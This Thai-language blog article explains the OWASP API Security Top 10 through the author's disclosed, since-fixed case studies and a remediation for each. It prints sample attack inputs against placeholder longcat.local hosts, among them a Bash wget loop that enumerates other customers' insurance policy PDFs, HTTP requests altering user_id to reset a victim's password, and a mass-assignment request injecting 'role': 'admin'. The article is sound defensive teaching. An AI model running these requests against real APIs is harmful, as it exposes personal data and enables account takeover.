ได้ยินชื่อนี้ครั้งแรก ถึงกับ อึ้งไปหลายวินาที เพราะแต่เดิม เรารู้จักกันแต่ Insecure Object References (IDOR) อันนี้มาชื่อใหม่เป็น Broken Object Level Authorization สรุปง่าย ๆ ถ้าใครรู้จัก IDOR อยู่แล้ว มันคืออันเดียวกัน!
สำหรับคนที่ไม่รู้จัก.. Object Level Authorization ในบริบทนี้ มันคือ เวลาที่ API มีการอ้างอิงไปที่ Object อะไรบางอย่าง ด้วยค่า ID หรือ token ก็ได้ (ใน OWASP Top 10 เว็บจะเรียกว่า Object Reference) จะต้องมีการตรวจสอบสิทธิ์ ว่าผู้ใช้งานที่เรียก Object นั้น ๆ มีสิทธิ์ ในการอ่านหรือแก้ไขข้อมูลปลายทางที่ขอหรือเปล่า ถ้าการตรวจสอบนี้ไม่มี หรือไม่ถูกต้อง แฮกเกอร์ก็อาจสามารถอ่านหรือ แก้ไขข้อมูลที่ตนเองไม่ควรจะมีสิทธิ์ได้
ตัวอย่าง ID ที่อ้างอิงไปยัง Object ในการเรียก API เช่น คำว่า longcatshop, 1337, 1234, และ LongCat Shop ดังใน HTTP Request ของ API ต่อไปนี้
POST /shops/longcatshop/update HTTP/1.1 Host: longcat.local:8089 X-User-ID-X: 1337 Content-Type: application/json Content-Length: 151 { "shop_id": 1234, "shop_name": "LongCat Shop" }
ช่องโหว่ Broken Object Level Authorization อาจเกิดขึ้นได้ในกรณีนี้เมื่อ
- ถ้าแฮกเกอร์ ลองเปลี่ยนชื่อร้านจาก longcatshop เป็นชื่อร้านคนอื่นในระบบ แล้วสามารถดูหรือแก้ไข ข้อมูลของร้านคนอื่นนั้น ๆ ได้
- ถ้าแฮกเกอร์ ลองเปลี่ยนตัวเลข X-User-ID-X จาก 1337 ของตัวเองเป็นเลขเหยื่ออย่าง 1336 แล้วสามารถใช้งาน API ได้ตามปกติ ด้วยสิทธิ์ของผู้ใช้งานคนอื่นที่มี User ID เป็น 1336 ได้
- ถ้าแฮกเกอร์ ลองเปลี่ยนตัวเลข shop_id จาก 1234 เป็นค่าอื่น ในระบบ แล้วสามารถดูหรือแก้ไข ข้อมูลของร้านคนอื่น ที่อ้างอิงด้วย shop_id นั้น ๆ ได้
- ถ้าแฮกเกอร์ ลองเปลี่ยนตัวเลข shop_name จาก LongCat Shop เป็นค่าอื่น ในระบบ แล้วสามารถดูหรือแก้ไข ข้อมูลของร้านคนอื่น ที่อ้างอิงด้วย shop_name นั้น ๆ ได้
จะเห็นว่าการอ้างอิงไปยัง Object ต่าง ๆ ใน API จะต้องเขียนโค้ดให้ทำการตรวจสอบสิทธิ์ (authorization) ก่อนเสมอ ถ้าหากไม่มีแล้วละก็ จะกลายเป็นช่องโหว่ Broken Object Level Authorization นั้นเอง เพิ่มเติมคือนักพัฒนาแอปพลิเคชันสามารถใช้ค่าสุ่ม UUID รุ่น 4 ทดแทนตัวเลขเรียง เพื่อเพิ่มความยากในการเดาของแฮกเกอร์ (ลดความเสี่ยงที่ต่อให้มีช่องโหว่อยู่ก็โดนแฮกได้ยากขึ้น แต่ไม่ได้แก้ไขช่องโหว่)
ตัวอย่างค่า UUID รุ่น 4 ที่สามารถนำไปใช้อ้างอิง Object ใน API แทนการสร้างเลขเรียงได้
f38458df-72ca-4d7c-9889-cfad3fc5ae6a
เคล็ดลับอีกอย่างในการเลี่ยงช่องโหว่นี้คือ นักพัฒนาแอปพลิเคชัน ควรทำการเขียน unit test ให้มีการทดสอบเข้าถึงข้อมูลข้าม ผู้ใช้งาน และข้ามสิทธิ์ (user role) ว่าไม่สามารถเข้าถึงหรือแก้ไข ข้อมูลข้ามกันได้ ก็จะช่วยลดภาระในการทดสอบทีละ API ได้เยอะเลย
1.1 การดาวน์โหลดข้อมูลผู้ใช้งานโดยใช้เลขเรียง
ผู้เขียนเคยพบและแจ้งช่องโหว่เว็บประกันสุขภาพ (ปัจจุบันมีการแก้ไขแล้ว) โดยหลังจากซื้อประกันภัยผ่านแอปพลิเคชันโทรศัพท์เสร็จเรียบร้อย เว็บจะมีการส่ง เอกสารกรมธรรม์ กลับมาทางอีเมล เป็นลิงก์หน้าตาแบบนี้
https://app.longcatinsurance.local/api/epolicy/?policy_id=DEMO-0001-1234.pdf
ปรากฏว่าแฮกเกอร์สามารถที่จะเขียนโปรแกรมง่าย ๆ ด้วยภาษา Bash ทำการวนตัวเลขเพื่อดาวนืโหลดเอกสารกรมธรรม์ของผู้ใช้งานคนอื่นกลับมาได้
for i in {0001..9999}; do wget https://app.longcatinsurance.local/api/epolicy/?policy_id=DEMO-0001-"$i".pdf; done
ซึ่งในตัวอย่างนี้แฮกเกอร์จะสามารถเข้าถึงข้อมูลดังต่อไปนี้ได้
- ชื่อนามสกุล
- ที่อยู่
- อายุ วันเดือนปีเกิด
- เลขบัตรประจำตัวประชาชน
- แผนกรมกรรม์และผู้รับผลประโยชน์
การแก้ไขช่องโหว่นี้ทำได้หลายท่า ถ้าเรามองว่ามันเป็นช่องโหว่ Broken Object Level Authorization เราก็สามารถแก้ไข ได้โดยการเช็คสิทธิ์ ว่าคนที่ดาวน์โหลดได้เป็นคนที่ซื้อประกันสุขภาพนั้น ๆ เท่านั้น แต่ว่าจาก business logic ของแอปพลิเคชัน จะเห็นว่า จริง ๆ แล้วการตรวจสอบสิทธิ์อาจจะไม่เหมาะนัก เพราะว่าลิงก์นี้ตั้งใจไว้ว่า จะให้ผู้ใช้งานแอปพลิเคชัน กดเข้าอีเมลมาดาวน์โหลดเอกสารได้ รวมถึงคนที่เป็นผู้ได้รับเอกสาร อาจจะไม่ได้เป็นคนสมัครเอง (มีคนอื่นสมัครให้) และไมไ่ด้มีบัญชีในระบบสำหรับการตรวจสอบสิทธิ์จริง ๆ
ดังนั้นเวลาเราจะมองหาวิธีการแก้ช่องโหว่เราอาจจะคิดในภาพรวมเพื่อออกแบบให้เหมาะสมด้วย ในกรณีนี้อาจจะเลือกได้ว่า
- ให้ส่งเอกสารมาเป็นไฟล์แนบในอีเมลแทนเป็นลิงก์ดาวน์โหลด
หรือว่าให้ลิงก์ดาวน์โหลดนั้น…
- ใช้ชื่อลิงก์ที่ไม่สามารถคาดเดาได้โดยง่าย (UUID รุ่น 4 แทนเลข 4 หลัก)
- รวมถึงสามารถ ดาวน์โหลดได้ครั้งเดียว (ตรงนี้อาจจะสร้างความปวดหัวให้ผู้ใช้)
- และ/หรือ มีวันหมดอายุของลิงก์ที่แนบมาด้วย (ผู้ใช้งานอาจจะอยากกลับมาดาวน์โหลดทีหลัง)
ทั้งนี้ทั้งนั้นสุดท้ายแล้วก็ต้องเลือกวิธีการแก้ไขช่องโหว่ให้เหมาะสม กับสถานการณ์ต่าง ๆ ไม่ได้ทำตามคำแนะนำของ OWASP อย่างตรงไปตรงมาอย่างเดียว ให้มองเอกสารของ OWASP เป็นเหมือน template และ baseline ให้เรานำไปปรับใช้จะดีกว่า
อันดับ 2 Broken User Authentication
ต่อมาจะเป็นความเสี่ยงชื่อว่า Broken User Authentication อันนี้มาอินดี้ย้อมแมวแปลงช่องโหว่ Broken Authentication จาก OWASP Top 10 เว็บมาชัด ๆ (ไม่รู้ว่าจะแก้ชื่อให้มันต่างกันเล็กน้อยชวนเข้าใจผิดทำไม) มันคือเป็นความเสี่ยงที่รวมช่องโหว่ เกี่ยวข้องกับการยืนยันตัวตนต่าง ๆ ไม่ว่าจะเป็น..
- กระบวนการะกู้คืนรหัสผ่าน
- กระบวนการเปลี่ยนรหัสผ่าน
- ไม่มีกระบวนการลดความเสี่ยงการถูกเดารหัสผ่าน
- ไม่มีการกำหนดนโยบายการตั้งรหัสผ่านอย่างปลอดภัยขั้นต่ำในระบบ
- เก็บรหัสผ่านโดยไม่ได้ทำการเข้าฟังก์ชัน hash
- การรองรับการยืนยันตัวตนหลายช่องทาง (multi-factor authentication)
2 .1 User Account Takeover
กรณีศึกษาเช่นช่องโหว่เว็บโปรแกรมบัญชีออนไลน์ของไทย ที่ผู้เขียนเคยเจอและแจ้งช่องโหว่ ทำให้สามารถเปลี่ยนรหัสผ่านของผู้ใช้งานคนอื่นในระบบได้
โดยพบว่าเมื่อผู้ใช้งานล็อกอินเข้าระบบไปจะทำการเปลี่ยนรหัสผ่านตัวเองจะมีการยิง API หน้าตาประมาณนี้
POST /api/Company/Settings/UserProfile Host: longcat.local [...] user_id=1234&new_passwd=P@ssw0rd
คือมีการระบุ User ID กับรหัสผ่านใหม่เข้าไป วิธีการแฮกก็ง่ายมาก ๆ ก็แค่ทำการเปลี่ยน User ID จากของแฮกเกอร์ (1234) เป็นของเหยื่อ (5555)
POST /api/Company/Settings/UserProfile Host: longcat.local [...] user_id=5555&new_passwd=P@ssw0rd
ก็พบว่าสามารถที่จะตั้งรหัสผ่านใหม่ให้ผู้ใช้งานคนอื่นได้ แต่หลังจากเปลี่ยนรหัสผ่านแล้ว ติดปัญหาอยู่นิดหน่อยว่า เวลาจะล็อกอินเข้าบัญชีเหยื่อต้องใช้อีเมล ไม่ใช่ User ID ดังนั้น ช่องโหว่นี้จึงต้องใช้ร่วมกับ อีกช่องโหว่ ที่สามารถแอบดูอีเมลของผู้ใช้งานคนอื่นในระบบ โดยรู้แค่ User ID ได้
จะเห็นว่าช่องโหว่นี้จริง ๆ ก็นับเป็น Broken Object Level Authorization ได้เหมือนกัน แต่ผลกระทบไปกระทบกับกระบวนการยืนยันตัวตน (Authentication) ด้วยทำให้มาตกอยู่ในหมวก Broken User Authentication
วิธีการแก้ไขช่องโหว่นี้ก็คือจะต้องทำการตรวจสอบว่า ผู้ใช้งานที่ล็อกอินอยู่นั้น มีสิทธิ์เฉพาะ เปลี่ยนรหัสผ่านของตัวเองเท่านั้น โดยอาจจะ ดึงค่า User ID มาจากฐานข้อมูลที่น่าเชื่อถือฝั่งเซิร์ฟเวอร์แทน ไม่ควรรับมาผ่านจาก API เพราะสามารถถูกแก้ไขได้เอง โดยแฮกเกอร์ เพิ่มเติมก็คือ ในฟังก์ชันการเปลี่ยนรหัสผ่าน ควรจะต้องบังคับให้ผู้ใช้งาน ใส่รหัสผ่านเก่าก่อนเสมอ ก่อนจะยอมให้ตั้งรหัสผ่านใหม่ได้ (รวมถึงการเปลี่ยนอีเมลด้วย) เพื่อลดความเสี่ยงในเหตุการณ์ที่ว่า ค่า session token ของผู้ใช้งานหลุด จะทำให้แฮกเกอร์ไม่สามารถเปลี่ยนรหัสผ่านของเหยื่อได้โดยง่าย
2.2 User Authentication Bypass
ตัวอย่างช่องโหว่ SQL Injection ใน API ของแอปพลิเคชัน Mlive สามารถล็อกอินเป็นใครก็ได้โดยรู้แค่ Username วิธีการคือใส่คำสั่ง SQL พิเศษลงไปใน data field ชื่อว่า password
โดยผู้เขียนได้แจ้งช่องโหว่นี้ไปยังทางบริษัทที่ทำแอปพลิเคชัน Mlive และได้ทำการแก้ไขเรียบร้อยแล้ว (พร้อมได้คูปองฟรีนิดหน่อย)
อันดับ 3 Excessive Data Exposure
อันนี้เป็นความเสี่ยงที่ย้อมแมวรวม ๆ กันระหว่าง Security Misconfiguration กับ Sensitive Data Exposure ของ OWASP Top 10 เว็บเอามาตั้งชื่อใหม่ แต่อันนี้ค่อนข้างเห็นด้วยว่าใช้ชื่อนี้เหมาะสมที่จะใช้เรียก ความเสี่ยงนี้
Excessive Data Exposure เข้าใจง่ายมากคือ การที่ API ตอบข้อมูลมามาก เกินกว่าที่จะต้องนำไปใช้งานจริง แค่นั้นเองสั้น ๆ ง่าย ๆ ตัวอย่างเช่น API เราต้องการดึง ความคิดเห็นของวีดีโอมาแสดง โดยในหน้าจอจะแสดงแค่
ชื่อคนแสดงความคิดเห็น
ข้อความ ของความคิดเห็น
แต่ปรากฏว่า API ตอบกลับมาแบบนี้
HTTP/1.1 200 OK [...] {"comment_name": "Somchai Thanathack", "comment_message": "watermelon sugar high~", "comment_email": "[email protected]", "comment_mobile": "0898889898", }
จะเห็น ว่า API ออกแบบมาอย่างไม่ปลอดภัย มีการตอบ อีเมลและหมายเลขโทรศัพท์ ของคนที่มาแสดงความคิดเห็นออกมาใน API ถึงแม้ว่าหน้าเว็บ หรือหน้าแอปพลิเคชันโทรศัพท์จะไม่ได้นำมาแสดงก็ตาม แต่ว่าแฮกเกอร์ สามารถใช้โปรแกรม intercepted proxy เช่น Burp Suite ในการดักเอาค่าเหล่านี้ออกมาได้ หรือจริง ๆ แค่ยิง API เข้าไปด้วย client ของตัวเองก็ได้เช่นกัน
เป็นหนึ่งในช่องโหว่ที่พบได้ค่อนข้างบ่อย โดยเฉพาะใน API ที่ทำมาก่อนจะเกิดคนมาเรียกใช้งานจริง ๆ
3.1 ดูสถานะการตรวจสอบก่อนประกาศผลจริง
ตัวอย่างเว็บไทยไม่ทิ้งกัน (ได้รับการแก้ไขแล้ว) พบว่า เมื่อสมัครรับเงินเยียวยา จะมีหน้าเว็บสำหรับการตรวจสอบสถานะ โดยจะมีข้อความขึ้นว่า “อยู่ระหว่างการตรวจสอบ” แต่ว่า ถ้าหากไปดูที่ API ของเว็บที่ตอบกลับมา ดันมีสถานะชื่อว่า govResult แนบติดมาด้วย บางคนก็มีค่าเป็น Pending บางคนก็มีค่าป็น Reject ทำให้ สามารถอนุมานได้ว่า API มีการออกแบบอย่างไม่รัดกุม และตอบผลการตรวจสอบออกมาก่อนที่จะประกาศผลจริง
3.2 แอบดูคำตอบข้อสอบออนไลน์
กรณีศึกษาอีกระบบ เป็นเว็บเรียนออนไลน์ มีข้อสอบให้ทำ แต่ว่าเวลาหน้าเว็บดึง API สำหรับแสดงคำถามและตัวเลือกของคำถามมา มีการ ใส่สถานะคำตอบที่ถูกต้องใน API เกินไปด้วย ทำให้ผู้เรียนที่ไปแอบดู API สามารถโกงข้อสอบ เลือกตอบคำถามที่ถูกต้องได้ทันที ตัวอย่างเช่น
HTTP/1.1 200 OK [...] {"question": "whoami?", "choices": [ "root","longcat","anon","guest" ], "answer": "longcat" }
รูปจากระบบจริง (ได้รับการแก้ไขเรียบร้อยแล้ว)
อันดับ 4 Lack of Resources & Rate Limiting
ถัดมาจะเป็นความเสี่ยงที่จริง ๆ เรื่อง Rate Limiting ถ้าเป็นเกี่ยวข้องกับการล็อกอินต่าง ๆ จะรวมอยู่ใน Broken User Authentication แต่ในความเสี่ยงนี้ Lack of Resources & Rate Limiting จะเน้นไปที่ เรื่องของ การทำให้แอปพลิเคชันล่ม โดยการแก้ไข API ให้ทำงานหนักเกินกว่าจะรับไหว
4.1 อัปโหลดไฟล์ จนพื้นที่เซิร์ฟเวอร์เต็ม
ฟีเจอร์ที่เห็นได้บ่อยในแอปพลิเคชัน คือการอัปโหลดไฟล์ ไม่ว่าจะเป็น การใส่รูป วีดีโอ และเอกสารแนบต่าง ๆ ปัญหาก็คือว่า เราอาจจะแค่ประมาณไว้ว่า เครื่องเซิร์ฟเวอร์ เราจะโดนผู้ใช้งานนำเอกสารขึ้นมาขนาดรวมทั้งหมดแล้วประมาณเท่าไร และที่เราเตรียมไว้ “น่าจะพอ”
ถ้าแอปพลิเคชันเราไม่ได้มีการกำหนด…
- กำหนดขนาดไฟล์สูงสุดที่อัปโหลดได้ต่อครั้ง
- กำหนดขนาดไฟล์สูงสุดที่อัปโหลดได้ต่อ 1 ผู้ใช้งาน
แฮกเกอร์ก็จะทำการอัปโหลดไฟล์ขนาด 500 MB หลาย ๆ ครั้งติด ๆ เป็นวันจนเซิร์ฟเวอร์พื้นที่เต็มและทำให้ผู้ใช้งานปกติเข้าใช้งานแอปพลิเคชันไม่ได้เกิดเป็นการโจมตีแบบ denial of service ได้
วิธีการแก้ไขนอกจากจะมีการตรวจสอบขนาดไฟล์ต่าง ๆ แล้วก็เตรียมพื้นที่ให้เพียงพอแล้ว อีกทางเลือกหนึ่งคือไปใช้บริการรับฝากไฟล์ที่สามารถขยายพื้นที่ได้อัตโนมัติอย่าง Amazon S3, Azure Blob Storage และ Google Cloud Storage เป็นต้น
4.2 ทำให้ API ประมวลผลอย่างหนัก
เวลาเราพูดกันว่าจะยิง API ให้ล่ม คนทั่วไปมักนึกถึงภาพว่าเรามี คอมพิวเตอร์เยอะ ๆ ยิง API จำนวนมาก ๆๆๆ เข้ามา จนระบบล่ม
ตัวอย่างเว็บ เราไม่ทิ้งกัน.com ล่มระหว่างที่มีผู้สนใจเข้าใช้งานจำนวนมาก (แก้ไขเรียบร้อยแล้ว)
แต่จริง ๆ แล้วการทำให้ API ประมวลผลอย่างหนักจนล่ม มีหลากหลายวิธี ที่อาจจะไม่ได้ต้องใช้ ทรัพยากรเยอะเลยก็เป็นได้ ถ้าหาก API นั้นออกแบบมาอย่างไม่ปลอดภัย
ตัวอย่างเช่น
- เวลายิง API ดึงข้อมูลมี parameter ชื่อ limit ไว้กำหนดว่าจะดึงข้อมูลออกมาครั้งละเท่าไร ปรากฏว่าถ้าแฮกเกอร์ใส่เป็นตัวเลข 1000000 เข้าไป ถ้าหากว่าไม่ได้มีการตรวจสอบไว้แล้วพยายามจะดึงข้อมูล 1 ล้านก้อนออกมาจริง ๆ ก็อาจทำให้เครื่องเซิร์ฟเวอร์ประมวลผลอย่างหนัก ช้า จนถึงล่มไปเลยได้
- เวลายิง API ดึงข้อมูลมีการทำงานอะไรบางอย่างที่ใช้ CPU เยอะ เช่นการ รันคำสั่ง OS command เพื่อแปลงไฟล์, การส่งอีเมลออก, การย้ายไฟล์ขนาดใหญ่ เป็นต้น ดังนั้น บางครั้งก็อาจจะจำเป็นที่เราจะต้องตรวจสอบ คอขวดว่า ระบบโดยภาพรวมมีจุดไหนบ้างที่อาจทำให้ เซิร์ฟเวอร์ประมวลผลอย่างหนัก และหาทางแก้ไขเช่นการทำระบบให้การทำงานมันต่อคิว (Queue) กัน หรือแบ่งภาระไปให้เซิร์ฟเวอร์เครื่องอื่นทำแทนแยกหน้าที่กัน และรองรับการขยาย (scale) ของการประมวลผลที่หนักกว่าปกติอย่างอัตโนมัติ
- มีช่องโหว่ที่ทำให้เกิดข้อผิดพลาด (error หรือ exception) จนทำให้แอปพลิเคชันปิดตัวเองจากข้อผิดพลาดนั้น ซึ่งมักจะเกิดขึ้นถ้าไม่ได้มีการดัก กรณีต่าง ๆ ไว้เช่น ระบบรองรับไฟล์รูปภาพส่งมาประมวลผล แต่ปรากฏว่า แฮกเกอร์ส่งไฟล์โปรแกรม .exe มาแทน เมื่อนำไฟล์โปรแกรมไปประมวลผลก็เกิดข้อผิดพลาด ที่ไม่ได้เขียนโค้ดจัดการไว้ล่วงหน้า ก็อาจทำให้แอปพลิเคชันปิดตัวไปเองได้
สำหรับความเสี่ยงในหัวข้อ Lack of Resources & Rate Limiting เหมาะมาก ที่จะตรวจสอบและแก้ไขไปพร้อม ๆ กับการทำ Logging & Monitoring เพราะว่าการบันทึก Log กับการคอยตรวจสอบการทำงานระบบและข้อความแจ้งเตือนนี้แหละ จะเป็นจุดที่ทำให้ลดความเสี่ยงนี้ได้อย่างมีประสิทธิภาพ
อันดับ 5 Broken Function Level Authorization
อันนี้จะเป็นช่องโหว่ที่ควรรวมกับ อันดับ 1 Broken Object Level Authorization แล้วใช้ชื่อเดิมของ OWASP Top 10 เว็บนั้นก็คือ Broken Access Control
สรุปมันคือความเสี่ยง ที่เกิดจาก การที่ผู้ใช้งานสามารถใช้งาน API ที่ไม่ได้มีไว้สำหรับสิทธิ์ตัวเองได้ ปกติแล้วมักจะมีคู่กับช่องโหว่ที่แสดงรายชื่อ API ทั้งหมดออกมา เช่นการเปิด Swagger หรือฝัง API ที่ไม่ได้ใช้งานมาใน โค้ดของแอปพลิเคชันโทรศัพท์
5.1 แอปพลิเคชันติดตามและประเมินความเสี่ยง COVID-19 (แก้ไขแล้ว)
ในตัวอย่างนี้ผู้เขียนพบว่ามีเว็บที่ไม่สามารถสมัครหรือใช้งานได้แต่มีชื่อ API ถูกฝังอยู่ในไฟล์ JavaScript ของเว็บ (View Source)
และเมื่อแกะแอปพลิเคชันโทรศัพท์พบว่ามี API Token สำหรับ API อื่น ๆ ที่ไม่เกี่ยวกับเว็บฝังอยู่ ดังนั้นเลยลองเอา API Token ของโทรศัพท์มายิงใส่เว็บ (คนละแอปพลิเคชัน แต่ระบบเดียวกัน) พบว่าสามารถเข้าถึงตำแหน่งของผู้ใช้งานแอปพลิเคชันที่เก็บไว้ที่ระบบหลังบ้านได้
จากกรณีนี้จะพบว่า API Token สำหรับใช้งานสิทธิ์หนึ่งของ แอปพลิเคชันโทรศัพท์ (สำหรับผู้ใช้ทั่วไป) ดันถูกใช้เป็น API Token เดียวกัน กับแอปพลิเคชันระบบจัดการภายในหลังบ้าน (สำหรับเจ้าหน้าที่) ทำให้เกิดเป็นช่องโหว่ Broken Function Level Authorization นั่นเอง
อันดับ 6 Mass Assignment
ช่องโหว่ Mass Assignment คือ ช่องโหว่ที่ API ยอมรับค่าเกินกว่าที่ควรจะเป็นจริง ๆ ถ้าหากถูกใส่เข้าไป ตัวอย่างเช่น มี API การสมัครสมาชิกหน้าตางี้
POST /api/user/new HTTP/1.1 Host: longcat.local Content-Type: application/json Content-Length: 151 { "user": "longcat", "password": "P@ssw0rd", "email": "[email protected]" }
ปรากฏว่าโค้ดที่ใช้ในการสร้างผู้ใช้งานบนเซิร์ฟเวอร์ ทำการวนรับค่าทุก field ไปแล้วกำหนดให้ User Object โดยไม่ได้กำหนดว่า field อะไรยอมให้นำไปกำหนดได้บ้าง (เพราะเชื่อใจว่า client ใส่มาเฉพาะที่เรากำหนดไว้ในหน้าแอป) จะทำให้ถ้าแฮกเกอร์ทำการสมัครโดยการใส่ field ที่ไม่ควรจะถูกแก้ไขได้อย่างเช่น role
POST /api/user/new HTTP/1.1 Host: longcat.local Content-Type: application/json Content-Length: 151 { "user": "longcat", "password": "P@ssw0rd", "email": "[email protected]", "role": "admin" }
เพื่อแอปพลิเคชันนำท่านี้ไปกำหนดให้ User ที่สร้างใหม่ แฮกเกอร์ก็จะสวมบทยกระดับสิทธิ์กลายเป็น ผู้ดูแลระบบได้ทันที ช่องโหว่นี้โดยปกติแล้วมักจะหาเจอได้จากการ อ่านโค้ดหรือการสำรวจชื่อ field ในหลาย ๆ API แล้วเอามาลอง ๆ ใส่ดู เช่นมี API ที่ตอบค่ามาแล้วมีชื่อ field ที่ตอนกดอัปเดต ไม่มี เลยเอาชื่อ field นั้นกับค่าที่ไม่ควรแก้ได้ไปลองใส่ใน API สำหรับการอัปเดต
กรณีที่เคยเจอจริง มีเป็นพวกเกี่ยวข้องกับ API ที่ใช้ร่วมกันหลายระบบ แล้วมีการใส่ flag บางอย่างเช่น “is_verify”: true สำหรับระบบหนึ่ง และไม่ได้ใส่มาทั้ง field (คือเหมือนเป็น false) สำหรับอีกระบบ ปรากฏว่า ถ้าเราใส่เพิ่มเข้าไปเอง จะสามารถเข้าถึงข้อมูลที่ไม่ควรเข้าถึงได้
อันดับ 9 Improper Assets Management
อันสุดท้าย Improper Assets Management เป็นความเสี่ยงที่เกี่ยวข้องกับการบริหารจัดการดูแล API ไม่ดีอย่างเพียงพอ ตัวอย่างปัญหาในอันดับนี้เช่น
- มีการใส่โค้ดหรือ API ของระบบทดสอบลงไปใน API Base URL เดียวกับระบบใช้งานจริง (Production)
- ไม่มีการกำหนดการเข้าถึงใน network level ของ API เช่น API สำหรับ ใช้ภายในแต่ปล่อยให้เข้าถึงจากคนภายนอกได้
- ไม่มีการบริหารจัดการรุ่นของ API ไม่มีเอกสาร ทำให้มี API เก่าที่ไม่ได้ใช้งานหลงเหลืออยู่ ซึ่งผู้ไม่ประสงค์ดีอาจจะใช้ API เก่า ทำอะไรในสิ่งที่เจ้าของระบบไม่ได้ออกแบบไว้ให้ทำได้ใน API ใหม่
กรณีศึกษาจะเป็น มี API เว็บหลัก www.longcat.local/users/1 มีการป้องกันอย่างดี และแก้ไขมาให้ปลอดภัยทั้งในเรื่องสิทธิ์และการตรวจสอบค่าจากผู้ใช้งาน แต่ปรากฏว่ามีระบบเก่าที่ทำ subdomain ไว้เป็น uat.longcat.local/users/1 ปรากฏว่าใน subdomain เก่าไม่ได้มีการตั้งค่าความปลอดภัยใด ๆ และดึงข้อมูลมาจากระบบจริงเดียวกัน ทำให้แฮกเกอร์ สามารถเข้าไปเล่นงานระบบเก่าแทนระบบใหม่ได้อย่างง่ายดาย จะเห็นว่าในกรณีนี้ เจ้าของเว็บ www.longcat.local/users/1 ต่อให้ไปทดสอบความปลอดภัยอย่างไร ดีแค่ไหน แต่ไม่ได้เห็นภาพกว้างของสภาพแวดล้อมระบบในองค์กร ว่ามีระบบทดสอบใดบ้าง ระบบเก่าใดบ้างอยู่ ก็อาจทำให้ถูกแฮกได้อยู่ดี
สุดท้ายนี้ผู้เขียนก็หวังว่า ความรู้และกรณีศึกษาของ OWASP API Security Top 10 จะทำให้ทุกท่านได้พัฒนาระบบที่มีความปลอดภัย ห่างไกลจากแฮกเกอร์นะครับ ในปัจจุบันก็มีช่องโหว่โผล่มาใหม่มากมาย หลายครั้งเราคิดว่าเราดูครบหมดแล้ว แต่ก็อาจจะยังพลาดได้ มีหนังสือเล่มหนึ่งเขียนไว้ว่า สำหรับคนดูแลระบบความปลอดภัยและคนเขียนโค้ด ถ้าถูกโจมตีระบบมา 100 ครั้งหน้าที่ของเขาคือ ป้องกันให้ได้ 100 ครั้ง เพื่อไม่ให้โดนแฮกสำเร็จ แต่สำหรับแฮกเกอร์ ถ้าโจมตี 100 ครั้ง เขาต้องการแค่ทำสำเร็จเพียงแค่ 1 ครั้ง ก็ถือว่าแฮกสำเร็จแล้ว
บทความที่เกี่ยวข้อง